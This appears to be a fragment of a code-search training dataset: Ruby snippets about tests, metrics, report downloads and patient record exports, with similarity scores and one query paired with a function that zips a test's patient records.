"def test_volume_of_cube()\n cube_volume1 = calc_cube_volume(1,2,3)\n cube_volume2 = calc_cube_volume(2,2,2)\n cube_volume3 = calc_cube_volume(2,4,6)\n assert_equal(6, cube_volume1)\n assert_equal(8, cube_volume2)\n assert_equal(48, cube_volume3)\nend",
"def mean\n sum = 0\n @test.each do |value|\n sum += value[2] - value[3]\n end\n\n sum/@test.length.to_f\n end",
"def estimate\n # (native code) \n end",
"def test_mine_sutter_creek\r\n\t@test_prospector.current_location = 'Sutter Creek'\r\n\t@test_prospector.mine\r\n\tassert_operator 2, :>=, @test_prospector.current_gold\r\n\tassert_equal 0, @test_prospector.current_silver\r\n\tassert_operator 2, :>=, @test_prospector.total_gold\r\n\tassert_equal 0, @test_prospector.total_silver\r\n end",
"def coverage\n empty? ? 1 : Rational(successful, total)\n end",
"def measure; end",
"def test\n false_good, true_bad = get_counts(@testing_bad)\n true_good, false_bad = get_counts(@testing_good)\n\n correct = true_good.length + true_bad.length\n total = correct + false_bad.length + false_good.length\n ratio = format_ratio(1.0 * correct / total)\n\n bad_total = false_good.length + true_bad.length\n bad_ratio = format_ratio(1.0 * true_bad.length / bad_total)\n\n good_total = true_good.length + false_bad.length\n good_ratio = format_ratio(1.0 * true_good.length / good_total)\n\n puts \"Accuracy: #{ratio} (#{correct} of #{total})\"\n\n puts \"Bad commit accuracy: #{bad_ratio} (#{true_bad.length} of #{bad_total})\"\n print_failures(true_bad)\n\n puts \"Good commit accuracy: #{good_ratio} (#{true_good.length} of #{good_total})\"\n print_failures(true_good)\n end",
"def test_standard_credit_results\n @standard_credit_Value.each { |key, value| assert_in_delta @calc_standard[@row_number][key], value, 0.03 }\n check_count @calc_standard\n end",
"def test_average_metro\n average = (6000000 + 9050000 + 8600000 + 13300000 + 20900000) / 5\n output = \"Average Population: #{average}\"\n assert_equal(output, average_metro(@south_america))\n end",
"def get_to target\n calculate if @results.nil?\n @results.each do |eq, result|\n puts \"*\" * 30 if result == target.to_i\n puts \"#{eq} = #{result}\"\n puts \"*\" * 30 if result == target.to_i\n end\n\n puts \"%d equations tested\" % @equations.length\n end",
"def get_actual\n end",
"def result\n pass_fail(average(get_grades))\nend",
"def test_multipliers\n revenue = Dataset::Measure.new(:name => \"Revenue\", :units => Dataset::Units::Dollars)\n assert_equal(\"dollars\", revenue.describe)\n r1 = revenue.instance(50, :million)\n assert_equal(50_000_000, r1.value)\n end",
"def calc_attr_value(experiments)\n results = []\n \n experiments.each do |exp|\n \n results << result(exp[:assay])\n end\n \n if results.size >0 \n positive = results.count {|statement| statement.to_s.include?(\"Positive\") == true}\n negative = results.count {|statement| statement.to_s.include?(\"Negative\") == true}\n \n if(positive >= negative)\n return \"TRUE\"\n elsif(negative > positive)\n return \"FALSE\"\n else\n return \"?\"\n end\n else\n return \"?\"\n end\n end",
"def estDouble()\n return @estDouble\n end",
"def errors\n @test_results.map { |tuple| (tuple[2] - tuple[3]).abs }\n end",
"def mcas_math\n student.latest_result_by_family_and_subject(\"MCAS\", \"Mathematics\") || MissingStudentAssessment.new\n end",
"def nth_measure_test(measure_test_number)\n @product.product_tests.measure_tests.sort_by(&:created_at)[measure_test_number.to_i - 1]\nend",
"def test_percentage_ties\n assert_equal 0.20, @stat_tracker.percentage_ties\n end",
"def measure() @measure ||= (nb_weight == 0.0 ? 0.0 : sum_weight / nb_weight) end",
"def test_tip_method\n assert_equal(0.15, @check_test.tip_calc)\n end",
"def fittest\n min\n end",
"def test_it_can_find_average_invoices_per_merchant\n # assert_equal 10.49, @sa_real.average_invoices_per_merchant\n assert_equal 1.5, @sa.average_invoices_per_merchant\n assert_instance_of Float, @sa.average_invoices_per_merchant\n end",
"def expected_variance\n ((max - min) ** 2) / 12\n end",
"def test_suma\n assert_equal 12,@a.suma(@b).num\n assert_equal 7, @a.suma(@b).denom\n end",
"def test_get_average\n participant = participants(:par1)\n assert_equal 5, participant.getAverage(25, 5)\n end",
"def estimate\n # (native code)\n end",
"def estimate\n # (native code)\n end",
"def estimate\n # (native code)\n end",
"def test_ranked_precision\n \n add_test_judgements\n add_ranked_query_result\n expected_precision = [\n 1,\n 1,\n 0.6666666666666666,\n 0.75,\n 0.6,\n 0.6666666666666666,\n 0.5714285714285714,\n 0.5,\n 0.4444444444444444,\n 0.4\n ]\n @query_result.statistics.each_with_index do |rank, index|\n assert_equal(expected_precision[index], rank[:precision])\n end\n \n end",
"def format_measure(v)\n v\n end",
"def useful_measures_by_measure_type(validation_id)\n validation = Validation.find(validation_id)\n if validation.measure_type == 'discrete'\n measure_ids.select { |id| HealthDataStandards::CQM::Measure.find_by(_id: id).continuous_variable == false }\n elsif validation.measure_type == 'continuous'\n measure_ids.select { |id| HealthDataStandards::CQM::Measure.find_by(_id: id).continuous_variable == true }\n else\n measure_ids\n end\n end",
"def test_ranked_recall\n \n add_test_judgements\n add_ranked_query_result\n expected_recall = [\n 0.25,\n 0.5,\n 0.5,\n 0.75,\n 0.75,\n 1,\n 1,\n 1,\n 1,\n 1\n ]\n @query_result.statistics.each_with_index do |rank, index|\n assert_equal(expected_recall[index], rank[:recall])\n end\n \n end",
"def test_results_sad_one\r\n assert_output(\"Going home sad.\\n\") { @g.results(1) }\r\n end",
"def test_ending_percentage\n assert_equal 100, @pom.end_percentage\n end",
"def measures\n @dimensions.describe\n end",
"def sum_expected(state)\n Jiras.sum_expected(@jiras.of_state(state))\n #get_jiras(state).sum_expected\n end",
"def compare_with_expected_precision(calculation, expected_result, calculated_result)\n expected_precision = get_precision_of expected_result\n expected_result = expected_result.to_f\n rounded_calculation = calculated_result.round(expected_precision)\n assert_equal expected_result, rounded_calculation,\n \"Expected a #{calculation} of #{expected_result}, but got #{rounded_calculation}\"\nend",
"def test_prospect\n\tmock_rng = Minitest::Mock.new(\"mock_rng\")\n\tdef mock_rng.rand;1;end\n\tmock_loc = Minitest::Mock.new(\"mock_loc\")\n\tdef mock_loc.max_gold;0;end\n\tdef mock_loc.max_silver;0;end\n p = Prospector.new(0,mock_loc,0)\n\tp.prospect(mock_rng)\n\tassert 1, p.num_days\n end",
"def evaluateDiffResult()\n\n end",
"def ca_plus_mse\n total_formative * (100 - examweight)/100\n end",
"def test\n\t\t##\n\t\t# Possible outcomes for each test. Do all tests and count the outcome\n\t\t##\n\t\twinLoss = {win: 0, loss: 0, sorted: 0, unsorted: 0}\n\t\t@xData[:test].each{|test|\n\t\t\t#Get the truth\n\t\t\tsorted \t\t= test.sort{|a,b| a <=> b}\n\t\t\t#Take an educated guess\n\t\t\tprediction\t= @machine.run(test).first.round\n\t\t\t##\n\t\t\t# Record outcomes\n\t\t\t##\n\t\t\t#If it is classed as sorted and is sorted\n\t\t\tif prediction == 1 && test == sorted \n\t\t\t\twinLoss[:win] \t\t+= 1\n\t\t\t\twinLoss[:sorted]\t+= 1\n\t\t\t#If it's classed as unsorted and is unsorted\n\t\t\telsif prediction == 0 && test != sorted\n\t\t\t\twinLoss[:win] \t\t+= 1\n\t\t\t\twinLoss[:unsorted]\t+= 1\n\t\t\t#A loos. You've broke something somewhere (probably)\n\t\t\telse\n\t\t\t\twinLoss[:loss] \t\t+= 1\n\t\t\tend\n\t\t}\n\t\t#Print the results\n\t\tputs \"Iterations: #{@iterations}\\nMAX_MSE: #{@maxError}\\n\\t#{winLoss}\" # proof\n\tend",
"def test_division\n assert_equal 13,@a.division(@b).num\n assert_equal 12,@a.division(@b).denom\n end",
"def error id = 0\r\n\t\t@predictionSet[id] - @expected\r\n\tend",
"def value\n self.should\n end",
"def test_volume_of_cube()\n result = volume_of_cube(5)\n assert_equal(125, result)\n end",
"def tolerance(var)\n return 1 if @matrix_x.column_size==1\n lr=Statsample::Regression::Multiple::MatrixEngine.new(@matrix_x, var)\n 1-lr.r2\n end",
"def assert_test_result_valid(test_target_instance, member, test_case_name, value, weighted_value = nil, test_results_size = 1)\n test_case = TestCase.where(name: test_case_name, test_target_id: test_target_instance.test_target_id).first\n\n test_results = TestResult.where(test_case_id: test_case.id, test_target_instance_id: test_target_instance.id, created_by: member.id)\n assert_equal(test_results_size, test_results.size)\n\n weighted_value ||= test_results.inject {|weight_result, result| weight_result.value | result.value}.value\n\n weighted_test_results = WeightedTestResult.where(test_case_id: test_case.id, test_target_instance_id: test_target_instance.id)\n assert_equal(1, weighted_test_results.size)\n assert_equal(weighted_value, weighted_test_results.first.value)\n end",
"def test_average_invoices_per_merchant\n\n sa = SalesAnalyst.new(se)\n info = sa.se.merchants.all.map {|merchant| merchant.invoices.count}\n result = average(info)\n assert_equal sa.average_invoices_per_merchant, result\n end",
"def grade_percentage\n all_tests = BoatingTest.all.select do |test|\n test.student == self\n end\n passed_tests = all_tests.select do |test|\n test.status == \"passed\"\n end\n passed_tests.length.to_f/all_tests.length.to_f\n end",
"def accuracy\n data.accuracy\n end",
"def measure=(measure)\n if measure.nil?\n fail ArgumentError, 'invalid value for \"measure\", measure cannot be nil.'\n end\n @measure = measure\n end",
"def test_calculated_quality\n assert_silent do\n tested 'calculated_quality rms.jpg'\n end\n end",
"def test_volume_of_a_cube()\n # add test code here\n result = volume_of_a_cube(2)\n assert_equal(8, result)\n end"
] |
[
"0.8053689",
"0.6587213",
"0.6266076",
"0.604876",
"0.59887546",
"0.5826578",
"0.5826375",
"0.582432",
"0.5774515",
"0.5762455",
"0.5758994",
"0.5736607",
"0.5729348",
"0.56966245",
"0.56681216",
"0.5648361",
"0.5593564",
"0.5580932",
"0.55764294",
"0.556654",
"0.55625063",
"0.5561366",
"0.5539023",
"0.55321956",
"0.5524845",
"0.5517636",
"0.55113715",
"0.5508435",
"0.54965335",
"0.5492896",
"0.54922706",
"0.54693985",
"0.5463353",
"0.5463353",
"0.5460492",
"0.5453474",
"0.54501104",
"0.5436852",
"0.5436852",
"0.5436267",
"0.5424829",
"0.54143727",
"0.5399767",
"0.53976834",
"0.5387303",
"0.5363214",
"0.5351835",
"0.5343238",
"0.53365666",
"0.53295636",
"0.53199446",
"0.5319447",
"0.53085417",
"0.52992076",
"0.52966654",
"0.5293983",
"0.5289615",
"0.5288892",
"0.5283346",
"0.5257338",
"0.5257103",
"0.525078",
"0.52506",
"0.52429897",
"0.5233648",
"0.5224757",
"0.5223938",
"0.5205101",
"0.5202043",
"0.5201659",
"0.52005464",
"0.51962733",
"0.51927245",
"0.51927245",
"0.51927245",
"0.51862407",
"0.51818156",
"0.5181363",
"0.51750934",
"0.5172035",
"0.5156782",
"0.51519644",
"0.51477647",
"0.5145757",
"0.514405",
"0.5140748",
"0.51400304",
"0.5135507",
"0.51330656",
"0.5117969",
"0.51170784",
"0.51160973",
"0.51129067",
"0.51025647",
"0.5102286",
"0.51009375",
"0.51003677",
"0.5099493",
"0.5092708",
"0.50922257"
] |
0.81875676
|
0
|
Used for downloading and emailing the records associated with this test. Returns a file that represents the test's patients given the requested format.
|
def generate_records_file(format)
file = Tempfile.new("patients-#{Time.now.to_i}")
patients = Record.where("test_id" => self.id)
Cypress::PatientZipper.zip(file, patients, format.to_sym)
file
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_records_file(format)\n file = Tempfile.new(\"patients-#{Time.now.to_i}\")\n patients = Record.where(\"test_id\" => self.id)\n \n if format == 'csv'\n Cypress::PatientZipper.flat_file(file, patients)\n else\n Cypress::PatientZipper.zip(file, patients, format.to_sym)\n end\n \n file\n end",
"def patients\n file_name = \"#{@product_test.cms_id}_#{@product_test.id}.qrda.zip\".tr(' ', '_')\n send_data @product_test.patient_archive.read, type: 'application/zip', disposition: 'attachment', filename: file_name\n end",
"def patients\n crit_exists = [email protected]_tests.checklist_tests.empty?\n filt_exists = [email protected]_tests.filtering_tests.empty?\n criteria_list = crit_exists ? render_to_string(file: 'checklist_tests/print_criteria.html.erb', layout: 'report') : nil\n filtering_list = filt_exists ? render_to_string(file: 'checklist_tests/print_filtering.html.erb', layout: 'report') : nil\n file = Cypress::CreateTotalTestZip.create_total_test_zip(@product, criteria_list, filtering_list, 'qrda')\n send_data file.read, type: 'application/zip', disposition: 'attachment', filename: \"#{@product.name}_#{@product.id}.zip\".tr(' ', '_')\n end",
"def report\n respond_to do |format|\n format.pdf { \n # send_file TestPdfForm.new(PdfRecord.first).export, type: 'application/pdf'\n\n pdf = InvoicePdf.new(current_user, @invoice).export\n send_file pdf[:filename], type: 'application/pdf' \n\n # pdf = InvoicePdf.new(current_user, @invoice).export_02\n # send_data pdf[:body], type: 'application/pdf' \n }\n end\n end",
"def meeting_recordings_download_file(download_url)\n raise \"You must use JWT client\" unless self.class == Zoom::Clients::JWT\n file=Tempfile.create\n file.binmode\n response = HTTParty.get(\"#{download_url}?access_token=#{access_token}\",\n stream_body: true,\n follow_redirects: true\n ) do |fragment|\n if fragment.code == 200\n file.write(fragment)\n elsif fragment.code != 302\n raise StandardError, \"Non-success status code while streaming #{fragment.code}\"\n end\n end\n file\n end",
"def print_patient\n @medical_record = []\n @registry_patient.registry_medical_records.each do |medical_record|\n @medical_record << { therapy_name: Registry::TherapyType.find(medical_record.registry_therapy_type_id).display_name, weekly_hours: medical_record.week_therapy_hours.to_s }\n end\n respond_to do |format|\n format.pdf do \n render pdf: @registry_patient.display_name.split.join('-'), orientation: 'Portrait'\n end\n format.xlsx do\n render xlsx: 'print_patient', filename: @registry_patient.display_name.split.join('-')+'.xlsx'\n end\n end\n end",
"def pretty_filename_for_download\n student_name = \"#{student.last_name} #{student.first_name}\"\n escaped_student_name = student_name.gsub(/[^a-zA-Z0-9]+/, '')\n date_text = self.created_at.strftime('%Y%m%d')\n \"IEP_#{escaped_student_name}_#{date_text}_#{student.id}_#{self.id}.pdf\"\n end",
"def report\n # Iterate over each qotd record and check if it is present verbatim\n # in the corresponding content AT file.\n discrepancies = []\n @qotd_records.each { |qotd_record|\n date_code = qotd_record[:title].downcase\n puts \" - processing #{ date_code }\"\n sanitized_qotd_content = sanitize_qotd_content(qotd_record[:contents])\n corresponding_content_at_file = RFile::ContentAt.find_by_date_code(\n date_code,\n \"at\",\n @content_type\n )\n\n if corresponding_content_at_file.nil?\n raise ArgumentError.new(\"Could not find content AT file for #{ date_code }\")\n end\n\n sanitized_content_at_plain_text = sanitize_content_at_plain_text(\n corresponding_content_at_file.plain_text_with_subtitles_contents({})\n )\n\n find_diffs_between_qotd_and_content_at(\n date_code,\n qotd_record[:publishdate],\n sanitized_qotd_content,\n sanitized_content_at_plain_text,\n discrepancies\n )\n }\n assign_discrepancy_types(discrepancies)\n discrepancies\n end",
"def download\n # Retrieve \"file_id\" parameter.\n @file_id = params[:file_id]\n\n # Verify if the :file_id exists with the help of our StorageMock class.\n # This sample can only be executed if the provided file exists.\n unless exist?(@file_id)\n render text: 'Not Found', status: 404 && return\n end\n\n file_path = get_data_path(@file_id)\n\n # Check if doc already has a verification code registered on storage.\n verification_code = get_verification_code(@file_id)\n if verification_code.to_s.empty?\n # If not, generate a code and register it.\n verification_code = generate_verification_code\n set_verification_code(@file_id, verification_code)\n end\n\n # Generate the printer-friendly version.\n pfv_content = generate_printer_friendly_version(file_path, verification_code)\n # Return the generate file.\n send_data pfv_content, :filename => \"printer-friendly.pdf\"\n end",
"def export\n @pdf = build_referral( @referral )\n @pdf.render_file @referral.filespec\n redirect_to referrals_path, alert: \"Referral PDF file generated for patient #{@referral.patient.full_name}\"\n end",
"def show\n @individual_report = @medical_record.individual_reports.find(params[:id])\n @odat_diagnosis = @individual_report.odat_diagnosis\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @individual_report }\n format.pdf do\n output = @individual_report.to_pdf\n send_data output, \n :filename => \"ODAT-#{_('informe_individual')}_#{@medical_record.id}_#{@individual_report.id}.pdf\", \n :type => \"application/pdf\"\n end\n end\n end",
"def export_report\n @report_uris.each do |directive|\n # First create the string for the report.\n uri = directive['uri']\n verbose = directive['verbose'] || false\n report_string = case directive['format']\n when 'txt' then to_s(verbose: verbose)\n when 'json' then to_json\n when 'yaml' then to_yaml\n else\n raise ExportReportError, \"unknown report format #{directive['format']}\"\n end\n\n # Now send this string to its destination.\n if Salus::Config::REMOTE_URI_SCHEME_REGEX.match?(URI(uri).scheme)\n send_report(uri, report_string, directive['format'])\n else\n # must remove the file:// schema portion of the uri.\n uri_object = URI(uri)\n file_path = \"#{uri_object.host}#{uri_object.path}\"\n write_report_to_file(file_path, report_string)\n end\n end\n end",
"def download_sample_probe_list\n temp = [[\"Probes for calibration\"], [\"EukS_1209_25_dT\"], [\"EukS_328_25_dT\"], [\"DinoB_25_dT\"], [\"Test1 (EukS_1209_25dT)\"]]\n send_sample_file(\"sample_probe_list\", temp)\n end",
"def download_ta_list\n #find all the users\n tas = Ta.order(:user_name)\n case params[:format]\n when 'csv'\n output = User.generate_csv_list(tas)\n format = 'text/csv'\n when 'xml'\n output = tas.to_xml\n format = 'text/xml'\n else\n # Raise exception?\n output = tas.to_xml\n format = 'text/xml'\n end\n send_data(output, type: format, disposition: 'inline')\n end",
"def export(id, format)\n response = @rest_client.invoke 'get',\n \"email-validations/#{id}/entries\",\n {\n headers:\n {\n 'Accept': format\n }\n }\n\n return nil if response.status == 404 || response.status == 410\n return response.body if response.status == 200\n\n raise \"Unexpected HTTP response: #{response.status} #{response.body}\"\n end",
"def write_export_data_to_files(config, patients, inner_batch_size)\n case config[:format]\n when 'csv'\n csv_export(config, patients, inner_batch_size)\n when 'xlsx'\n xlsx_export(config, patients, inner_batch_size)\n end\n end",
"def show\n @study = Study.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @study }\n #format.csv {send_data @study.samples.to_csv, :filename => \"#{@study.identifier}_samples.csv\"}\n format.csv { send_data @study.samples_for_csv, :filename => \"#{@study.identifier}_samples.csv\"} \n #format.pdf { render :layout => false }\n #format.csv { send_data @study.samples.to_csv(), :filename => \"#{@study.identifier}_samples.csv\" }\n #format.tsv { send_data @study.samples.to_tsv(), :filename => \"#{@study.samples}_samples.tsv\" }\n end\n\n # TODO\n\n # # create a unique PDF filename\n # pdf_uuid = UUIDTools::UUID.timestamp_create().to_s\n # pdf_uuid_filename = Rails.root.join('app/assets/images/labels', \"#{pdf_uuid}.pdf\").to_s\n\n # # create a pdf but don't display it\n # pdf_file = render_to_string :pdf => pdf_uuid_filename, \n # :template => 'plans/show.pdf.erb' ,\n # :layout => 'pdf',\n # :save_only => true\n # # save to a file\n # File.open(pdf_uuid_filename, 'wb') do |file|\n # file << pdf_file\n # end\n # # create full URL path to created file \n # @plan.url = request.url[0, request.url.index(\"plans\")] + 'pdf/' + CGI::escape(\"#{pdf_uuid}.pdf\")\n # @plan.save!\n # # render the page again with the link being displayed\n # redirect_to :back\n\n end",
"def format_records(records)\n records.each do |record|\n report record\n end\n end",
"def report_file1_download(id)\r\n\t\tpost= { \"token\" => @token, \"report\" => id, \"v1\" => \"true\" } \r\n\t\tfile=nessus_http_request('file/report/download', post)\r\n\t\treturn file\r\n\tend",
"def get_audit_record_pdf(url)\n handle_error { Faraday.get(url) }\n end",
"def export\n @paystub = Paystub.find(params[:id])\n name = \"#{@paystub.doctor.lname}_#{Date::MONTHNAMES[@paystub.month]}_#{@paystub.year}\"\n @sdate = Date.new(@paystub.year, @paystub.month)\n @edate = 1.month.since(@sdate)\n\n @claims = Claim.joins(:services).where(provider_no: @paystub.doctor.provider_no).where(date_paid: (@sdate..@edate)).group('services.svc_date,pmt_pgm').pluck(:svc_date,Arel.sql('count(distinct claims.id),count(*), pmt_pgm, SUM(amt_subm)/100.0, SUM(amt_paid)/100.0'))\n\n @paystub.update_attribute(:filename, name+'.pdf')\n\n pdf = build_paystub( @paystub,@claims )\n pdf.render_file @paystub.filespec\n redirect_to paystubs_path, alert: \"New paystub created for Dr. #{@paystub.doctor.lname}\"\n end",
"def file_report(resources)\n resources = format(resources)\n merged_options = options.merge({ resource: resources })\n response = RestClient.post endpoint(\"/file/report\"), merged_options\n parse_response(response)\n end",
"def show\n @paper = Paper.find(params[:id])\n @question = Question.new\n @question.paper_id = @paper.id\n @questions = @paper.questions.order(:order)\n if params.include?(\"assignment_id\")\n @assignment = Assignment.find(params[:assignment_id])\n @students = @assignment.class_group.students.order(:last_name)\n file_name = \"#{@assignment.class_group.name}_#{@paper.test.name}_#{@paper.name}\"\n end\n respond_to do |format|\n format.html\n format.pdf do\n pdf = PaperPdf.new(@paper, @assignment)\n send_data pdf.render,\n filename: file_name,\n type: 'application/pdf',\n disposition: 'inline'\n end\n format.csv { send_data @paper.to_csv(@questions, @students), filename: \"#{@assignment.class_group.name}_#{@paper.test.name}_#{@paper.name}\"}\n format.xlsx {\n response.headers['Content-Disposition'] = 'attachment; filename=\"' + file_name + '.xlsx\"'\n}\n\n end\n end",
"def patient_documents(params, options = {})\n path = \"#{base_uri(params)}/patient_documents\"\n\n path << Uri::DateRange.new\n .beginning_at(params[:date_from])\n .ending_at(params[:date_to])\n .to_s\n\n path << Uri::WhitelistFactory.new\n .from_whitelists_in(params)\n .build\n .to_s\n\n path << current_if_specified_in(params)\n\n request(path, options)\n .if_403_raise(Neutrino::Gateway::Exceptions::InvalidTenantOperation)\n .if_404_raise(Neutrino::Gateway::Exceptions::PatientNotFoundError)\n .to_hash\n end",
"def file\n # insufficient parameters\n if !params.has_key?(:utar_id) || !params.has_key?(:utar_password)\n @result = {:message => 'No utar credential specified'}\n render json: @result, :status => 400\n return\n end\n\n # find student from database\n student = Student.find_by(:utar_id => params[:utar_id])\n if(!student)\n @result = {:message => 'Student not found in Database'}\n render json: @result, :status => 404\n return\n end\n\n # check if campus is valid\n if(!Mechanizor.is_campus_valid?(student.campus))\n @result = {:message => 'Student campus error'}\n render json: @result, :status => 403\n return\n end\n\n # find the subject\n # use integer value of enum on find_by and new , eg: student[:campus] instead of student.campus\n subject = Subject.find_by(:code => params[:code], :campus => student[:campus])\n if(!subject)\n @result = {:message => 'Subject not found in Database'}\n render json: @result, :status => 404\n return\n end\n\n @subject_files = Mechanizor.get_subject_file(params[:utar_id], params[:utar_password], subject.url, subject.code, student.campus)\n\n if !@subject_files\n @result = {:message => 'Error accessing WBLE or student does not have this subject'}\n render json: @result, :status => 403\n return\n end\n\n @result = {:message => 'Successfully retrieved files for subject', :files => @subject_files}\n render json: @result\n end",
"def reports_list\r\n post= { \"token\" => @token }\r\n file=nessus_http_request('report/list', post)\r\n return file \r\n end",
"def reports_list\r\n post= { \"token\" => @token }\r\n file=nessus_http_request('report/list', post)\r\n return file \r\n end",
"def report_file_download(id)\r\n\t\tpost= { \"token\" => @token, \"report\" => id } \r\n\t\tfile=nessus_http_request('file/report/download', post)\r\n\t\treturn file\r\n\tend",
"def to_s\n raise ValidationError, \"FEPFile does not have all required data set: #{validation_errors.inspect}\" unless valid?\n \n result = \"\"\n result += file_comment_record.to_s+\"\\r\\n\" unless file_comment_record.nil?\n result += file_header_record.to_s+\"\\r\\n\"\n transaction_detail_records.each do |tdr|\n result += tdr.to_s+\"\\r\\n\"\n end\n result += transaction_summary_record.to_s+\"\\r\\n\"\n result\n end",
"def download\n grade_entry_form = record\n send_data grade_entry_form.export_as_csv(current_role),\n disposition: 'attachment',\n type: 'text/csv',\n filename: \"#{grade_entry_form.short_identifier}_grades_report.csv\"\n end",
"def incomplete_comprehensive_details_for_export(patients)\n comprehensive_details = {}\n patients.each do |patient|\n comprehensive_details[patient.id] = {\n first_name: patient[:first_name] || '',\n middle_name: patient[:middle_name] || '',\n last_name: patient[:last_name] || '',\n date_of_birth: patient[:date_of_birth]&.strftime('%F') || '',\n sex: patient[:sex] || '',\n white: patient[:white] || false,\n black_or_african_american: patient[:black_or_african_american] || false,\n american_indian_or_alaska_native: patient[:american_indian_or_alaska_native] || false,\n asian: patient[:asian] || false,\n native_hawaiian_or_other_pacific_islander: patient[:native_hawaiian_or_other_pacific_islander] || false,\n other_race: patient[:other_race] || false,\n ethnicity: patient[:ethnicity] || '',\n primary_language: patient[:primary_language] || '',\n secondary_language: patient[:secondary_language] || '',\n interpretation_required: patient[:interpretation_required] || false,\n nationality: patient[:nationality] || '',\n user_defined_id_statelocal: patient[:user_defined_id_statelocal] || '',\n user_defined_id_cdc: patient[:user_defined_id_cdc] || '',\n user_defined_id_nndss: patient[:user_defined_id_nndss] || '',\n address_line_1: patient[:address_line_1] || '',\n address_city: patient[:address_city] || '',\n address_state: patient[:address_state] || '',\n address_line_2: patient[:address_line_2] || '',\n address_zip: patient[:address_zip] || '',\n address_county: patient[:address_county] || '',\n foreign_address_line_1: patient[:foreign_address_line_1] || '',\n foreign_address_city: patient[:foreign_address_city] || '',\n foreign_address_country: patient[:foreign_address_country] || '',\n foreign_address_line_2: patient[:foreign_address_line_2] || '',\n foreign_address_zip: patient[:foreign_address_zip] || '',\n foreign_address_line_3: patient[:foreign_address_line_3] || '',\n foreign_address_state: patient[:foreign_address_state] || '',\n monitored_address_line_1: patient[:monitored_address_line_1] || '',\n monitored_address_city: patient[:monitored_address_city] || '',\n monitored_address_state: patient[:monitored_address_state] || '',\n monitored_address_line_2: patient[:monitored_address_line_2] || '',\n monitored_address_zip: patient[:monitored_address_zip] || '',\n monitored_address_county: patient[:monitored_address_county] || '',\n foreign_monitored_address_line_1: patient[:foreign_monitored_address_line_1] || '',\n foreign_monitored_address_city: patient[:foreign_monitored_address_city] || '',\n foreign_monitored_address_state: patient[:foreign_monitored_address_state] || '',\n foreign_monitored_address_line_2: patient[:foreign_monitored_address_line_2] || '',\n foreign_monitored_address_zip: patient[:foreign_monitored_address_zip] || '',\n foreign_monitored_address_county: patient[:foreign_monitored_address_county] || '',\n preferred_contact_method: patient[:preferred_contact_method] || '',\n primary_telephone: patient[:primary_telephone] ? format_phone_number(patient[:primary_telephone]) : '',\n primary_telephone_type: patient[:primary_telephone_type] || '',\n secondary_telephone: patient[:secondary_telephone] ? format_phone_number(patient[:secondary_telephone]) : '',\n secondary_telephone_type: patient[:secondary_telephone_type] || '',\n preferred_contact_time: patient[:preferred_contact_time] || '',\n email: patient[:email] || '',\n port_of_origin: patient[:port_of_origin] || '',\n date_of_departure: patient[:date_of_departure]&.strftime('%F') || '',\n source_of_report: patient[:source_of_report] || '',\n flight_or_vessel_number: patient[:flight_or_vessel_number] || '',\n flight_or_vessel_carrier: patient[:flight_or_vessel_carrier] || '',\n port_of_entry_into_usa: patient[:port_of_entry_into_usa] || '',\n date_of_arrival: patient[:date_of_arrival]&.strftime('%F') || '',\n travel_related_notes: patient[:travel_related_notes] || '',\n additional_planned_travel_type: patient[:additional_planned_travel_type] || '',\n additional_planned_travel_destination: patient[:additional_planned_travel_destination] || '',\n additional_planned_travel_destination_state: patient[:additional_planned_travel_destination_state] || '',\n additional_planned_travel_destination_country: patient[:additional_planned_travel_destination_country] || '',\n additional_planned_travel_port_of_departure: patient[:additional_planned_travel_port_of_departure] || '',\n additional_planned_travel_start_date: patient[:additional_planned_travel_start_date]&.strftime('%F') || '',\n additional_planned_travel_end_date: patient[:additional_planned_travel_end_date]&.strftime('%F') || '',\n additional_planned_travel_related_notes: patient[:additional_planned_travel_related_notes] || '',\n last_date_of_exposure: patient[:last_date_of_exposure]&.strftime('%F') || '',\n potential_exposure_location: patient[:potential_exposure_location] || '',\n potential_exposure_country: patient[:potential_exposure_country] || '',\n contact_of_known_case: patient[:contact_of_known_case] || '',\n contact_of_known_case_id: patient[:contact_of_known_case_id] || '',\n travel_to_affected_country_or_area: patient[:travel_to_affected_country_or_area] || false,\n was_in_health_care_facility_with_known_cases: patient[:was_in_health_care_facility_with_known_cases] || false,\n was_in_health_care_facility_with_known_cases_facility_name: patient[:was_in_health_care_facility_with_known_cases_facility_name] || '',\n laboratory_personnel: patient[:laboratory_personnel] || false,\n laboratory_personnel_facility_name: patient[:laboratory_personnel_facility_name] || '',\n healthcare_personnel: patient[:healthcare_personnel] || false,\n healthcare_personnel_facility_name: patient[:healthcare_personnel_facility_name] || '',\n crew_on_passenger_or_cargo_flight: patient[:crew_on_passenger_or_cargo_flight] || false,\n member_of_a_common_exposure_cohort: patient[:member_of_a_common_exposure_cohort] || false,\n member_of_a_common_exposure_cohort_type: patient[:member_of_a_common_exposure_cohort_type] || '',\n exposure_risk_assessment: patient[:exposure_risk_assessment] || '',\n monitoring_plan: patient[:monitoring_plan] || '',\n exposure_notes: patient[:exposure_notes] || '',\n status: '',\n symptom_onset: patient[:symptom_onset]&.strftime('%F') || '',\n case_status: patient[:case_status] || '',\n lab_1_type: '',\n lab_1_specimen_collection: '',\n lab_1_report: '',\n lab_1_result: '',\n lab_2_type: '',\n lab_2_specimen_collection: '',\n lab_2_report: '',\n lab_2_result: '',\n jurisdiction_path: '',\n assigned_user: patient[:assigned_user] || '',\n gender_identity: patient[:gender_identity] || '',\n sexual_orientation: patient[:sexual_orientation] || ''\n }\n end\n comprehensive_details\n end",
"def download\n grade_entry_form = GradeEntryForm.find(params[:id])\n send_data grade_entry_form.export_as_csv,\n disposition: 'attachment',\n type: 'text/csv',\n filename: \"#{grade_entry_form.short_identifier}_grades_report.csv\"\n end",
